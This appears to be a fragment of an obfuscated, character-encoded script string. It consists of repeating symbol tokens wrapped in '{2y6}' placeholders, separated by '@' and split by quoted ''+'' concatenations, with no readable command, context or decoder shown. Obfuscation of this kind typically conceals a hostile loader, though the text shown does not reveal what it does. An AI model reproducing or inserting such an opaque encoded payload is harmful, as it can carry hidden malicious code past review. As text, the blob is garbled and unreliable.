})+{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}-=2y6{2y6}2y6{2y6}@{2y6 + }2y6{2y6}~{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6 +};{2y6}2y6{2y6}@{2y6 + }%*{2y6}pdP~#{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6 +})({2y6}~{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6 +}%*{2y6}~{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}cX9cX9{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6'+'};{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }~{2y6})({2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 +})+{2y6}~{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}2y6{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }cX9cX9{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})({2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6 + }%*{2y6}~{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ })+{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+})+{2y6}-=2y6{2y6}@'+'{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + };{2y6}2y6{2y6}@{2y6 +}-=2y6{2y6})({2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}~{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6 + }~{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}%*{2y6}%*{2y6}'+'@{2y6 + }#-/{2y6})({2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+};{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }p'+'dP~#{2y6})+{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{'+'2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}2y6{2y6}@{2y6 + }%*{2y6}~{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 +}#-/{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{'+'2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}2y6{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2'+'y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+};{2y6}~{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}2y6{2y6}@{2y6+}-=2y6{2y6})({2y6}@{2y6+ }%*{2y6})({2y6}@{2y6+})+{2y6}~{2y6}@{2y6 '+' +})+{2y6}~{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ 